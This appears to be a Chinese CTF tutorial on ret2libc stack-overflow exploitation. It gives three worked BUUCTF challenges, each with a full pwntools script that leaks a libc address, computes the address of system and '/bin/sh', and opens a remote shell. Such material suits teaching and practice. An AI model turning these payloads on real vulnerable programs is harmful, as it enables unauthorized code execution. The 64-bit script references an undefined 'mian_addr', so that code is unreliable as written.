本文详细记录了ret2libc攻击技术的基础知识、原理和实际操作方法。文章首先阐述了ret2libc通过覆盖返回地址来调用libc库中函数的概念,并介绍了如何查找libc库中函数的地址偏移量。接着,通过多个例题展示了在不同保护机制下利用栈溢出攻击泄露函数地址,并使用泄露的信息构造攻击载荷,最终执行系统命令获取shell的过程。此外,还讨论了32位和64位程序中利用ret2libc的差异,并提供了相应的Python代码示例。
相关知识
什么是ret2libc
ret2libc即return to libc,即控制程序中函数的返回地址为libc中函数的地址,进而控制程序执行后门函数,拿到shell。
这里有一个公式:函数的真实地址 = libc库的基地址 + 函数在libc库的地址偏移
什么是libc
libc是c标准库的二进制文件,里面有常用的c语言函数。
如何寻找地址偏移量
法1:
使用命令ldd pwn,查看二进制文件pwn在本地的这个环境上依赖的libc库,/lib/x86_64-linux-gnu/libc.so.6是绝对路径。

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') system_offset = libc.sym['system'] bin_sh_offset = next(libc.search(b'/bin/sh'))
|
法2:
ROPgadget --binary pwn3 --string 'sh'
|

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep '/bin/sh'
|
法3:
from LibcSearcher import *
libc = LibcSearcher("write",write_addr) system_offset = libc.dump('system')
|
法4:
通过已知的某个libc函数的地址,在https://libc.blukat.me(`ctrl`+点击 直接跳转)这个网站中查找到对应的libc数据库,可以直接看到地址偏移量。
这里放一个接收函数地址的方式总结:
addr = u32(p.recv(4)) addr = u64(p.recv(8)) addr = u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\x00'))
addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) addr = u64(p.recv(6).ljust(8,b'\x00'))
|
例题
例题1:buu 铁人三项(第五赛区)_2018_rop
查看保护,只开了NX,

明显栈溢出,

可以泄漏write函数地址
elf = ELF('./2018_rop')
main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write']
payload = b'a'*(0x88+4) payload += p32(write_plt) payload += p32(main_addr) payload += p32(1) payload += p32(write_got) payload += p32(4)
p.sendline(payload) write_addr = u32(p.recv(4))
|
同理也可以得到read函数的地址,然后我们可以在https://libc.blukat.me这个网站上,通过`write,read`函数的地址确定`libc`版本,可直接找到一些函数地址偏移量。

```python from pwn import * from LibcSearcher import * p = remote("node4.buuoj.cn",28149) context(arch='i386',os='linux',log_level='debug') elf = ELF('./2018_rop') #ELF是pwntools库中的函数,用于加载和分析ELF文件。
main_addr = elf.sym['main'] #获取main函数地址 write_plt = elf.plt['write'] #获取write函数在plt中的地址 write_got = elf.got['write'] #获取write函数的got地址,指向got表中write的真实地址
payload = b'a'*(0x88+4) payload += p32(write_plt) #调用write函数 payload += p32(main_addr) #调用完write后的返回地址,要重新在执行一遍主要函数 payload += p32(1) #write函数第一个参数,标准输出 payload += p32(write_got) #第二个参数 payload += p32(4)
p.sendline(payload) write_addr = u32(p.recv(4)) #从接收到的数据中提取一个4字节(32 位)的值 #print(hex(write_addr))
write_offset = 0x0e56f0 system_offset = 0x03cd10 str_bin_sh_offset = 0x17b8cf
base_addr = write_addr-write_offset system_addr = base_addr+system_offset str_bin_sh_addr = base_addr+str_bin_sh_offset
payload1 = b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(str_bin_sh_addr) #p32(0)是调用完system函数后的返回地址,但是因为执行完system后会开启一个子进程阻塞当前的进程,system也就不会返回,所以这里可以放任意地址,但是一定要放地址。
p.sendline(payload1) p.interactive()
|
例题2:buu jarvisoj_level3
看保护,只开了NX


可以泄漏write函数的地址
elf = ELF('./level3')
main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write']
payload = b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.recvuntil(b'Input:\n') p.sendline(payload)
write_addr = u32(p.recv(4))
|
这里我在网站上没有找到相应的libc版本,不能直接找到函数地址偏移量,但是buu上的题都给了libc版本
知道libc版本后,我们可以通过以下方法找到偏移量
libc = ELF('./libc-2.23.so')
base_addr = write_addr-libc.sym['write'] system_addr = base_addr+libc.sym['system']
str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))
|
exp如下
from pwn import * elf = ELF('./level3') libc = ELF('./libc-2.23.so') p = remote("node4.buuoj.cn",26641) context(arch='i386',os='linux',log_level='debug')
main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write']
payload = b'a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) p.recvuntil(b'Input:\n') p.sendline(payload)
write_addr = u32(p.recv(4))
base_addr = write_addr-libc.sym['write'] system_addr = base_addr+libc.sym['system'] str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))
payload1 = b'a'*(0x88+4)+p32(system_addr)+p32(0)+p32(str_bin_sh_addr) p.sendline(payload1) p.interactive()
|
例题3:buu jarvisoj_level3_x64
该题是64位程序,与第二题只有一处不同。32位通过栈传参,64位通过寄存器传参。故在write函数泄漏和调用system函数的时候需要用寄存器传参。储存参数的前三个寄存器分别为rdi,rsi,rdx。


我只找到了前两个寄存器对应的gadget地址,但是这里我们可以利用rdx中的残留值,我们可以看到read调用前,rdx依然保留上一个write函数的参数0x200。
exp如下
from pwn import * elf = ELF('./level3_x64') libc = ELF('./libc-2.23.so') p = remote("node4.buuoj.cn",26311)
main_addr = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] rdi_addr = 0x4006b3 rsi_addr = 0x4006b1
payload = b'a'*(0x80+8) payload += p64(rdi_addr)+p64(1) payload += p64(rsi_addr)+p64(write_got)+p64(0)
payload += p64(write_plt)+p64(mian_addr)
p.recvuntil(b'Input:\n') p.sendline(payload)
write_addr = u64(p.recv(8))
base_addr = write_addr-libc.sym['write'] system_addr = base_addr+libc.sym['system'] str_bin_sh_addr = base_addr+next(libc.search(b'/bin/sh'))
payload1 = b'a'*(0x80+8)+p64(rdi_addr)+p64(str_bin_sh_addr)+p64(system_addr)+p64(0) p.sendline(payload1) p.interactive()
|